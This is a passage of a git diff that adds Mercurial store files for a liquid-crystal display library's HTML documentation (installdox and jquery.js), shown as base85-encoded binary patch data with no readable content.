zbNS8Y-E&nvklm%_{Gc~zo6R6^FW0*R6a^DYkcV1}zsSZ?|I2?Ab$ZTVfi1xX<+(0* zz~i@dR%S8`-U7F!CuXzrW}Re@;+QM@UxzudJ<&O6GW(9wP^GNHQ}W!T6>Tb4f9}vc zTK)pkd1}8c2#wpPk!A5VXV$ptTO6qAvP%@%M1%8Ptsa50`}?+Hr_T4(%Su3oHYt|c zM`!(#lh*b6Imp?I&cH13%WHt@ShCCQ1(Shp8BZ1fpp?2*H)y{Z{M*wnlu{65citG? zW0QU+i%f6D>RSFSiodQK^3Sq*RIPJIoQ|9{MsQ^Y9?3^f-zOaQc4LgM*oFgc=^)d% zpar%-Zy}XzcX8$ylHjXX?tX_*5izmmp218KRTt*mGpdP}xZqY{>L_tVNUuT9efjz^ z+kD;viYtrMzRyyTl+d*w5gS=PE{U)AXpSh2D2*_KyPaS4`OpE`X;jH{AT;y>!g@#InQvVKg_F5}n@Zg>h^(ZyFL z&zXBqyf062&##3B^pYaT`|Zf0I7;*>(Gxi1YJ~1*gOP-`$Aw|>2uHj(OwJX(7vKfN zlfl&Yb>#4(i5y9A=1}p8`>BrHj#^i&@x{wTrPU85rp*ZQ^$4MR6=lT#fG_pfO(xIU XWfk&&F`QEaozzScFY$S`!|neEk?2?R literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/installdox.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/installdox.i new file mode 100644 index 0000000000000000000000000000000000000000..96c7b06cd834cd11331ea4036cc11290f179bc19 GIT binary patch literal 1037 zcmV+o1oHa;0RRC20000000Yec014Fq00000005}}|NsC0|NsAFLfTtX*-8C89#l$Q z$OvU5Mdn}t00000000000001ZoSjwMa@#f#edkxKQPw3BnT*pn%D2qK@noixPMo@Z zFfErRK?*em$OI_cW2@iZ1;DE!Cv7z&O5E$g?%Bl;J7F!W@P_elNvqOvew6i%RB#9$ z_*2Kds~J@Q`2J?qmQuJTxWbQuDJ0Qe|<6$s}z}=rVmYz2K8^SnrLm!@>jUYG#5)!|)F=*UX`)ZSV z!D~N0(a&MxMoS-o}UA`;I~}d zb5KbExh@;Svh z1H@m)(%(U}Wi996o#F%z@#wn2NOr&HiNehN(Ho%ZC zEd<7kF?@~199X1jT~(B)6huDYB3fy1&=#mcV~f``P|L)U@{Cp9`w0n%-!`@@XKptF zzGcSBAChH}D73)|4d!Z5c75dZK{XXO?s}+aaS#W`ZU}xq?w!&G!lB2Kc&5o+kM-|1 zmpG8C;=gzho~%?wY4DdM-*K}nPD>%FJ@fQiMI7_ykEG(*tO$@mj4x{i*48p8;Tdp& z4bMf*vmL{pA$jwb-2>Kk4D!d^IL(+cncO@Gf`*71x+}^o*UK!|5{wCEiv~Bzt+A;& zCXnDEX_5uC<`Xyfx6Z+7Rf#HsG~rw*Xk0AAv|q=6T(in9jrD+7-iHY}aPyv5ZEmAH zn~)&E^q1^qbzi`ki{#gq< zNm%sT+ZN&sh|Wq H^>?bclJNIH literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/jquery.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/jquery.js.i new file mode 100644 index 0000000000000000000000000000000000000000..2fa8e5f8342d028dc2f92363a51410d874f0aa2e GIT binary patch literal 77021 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 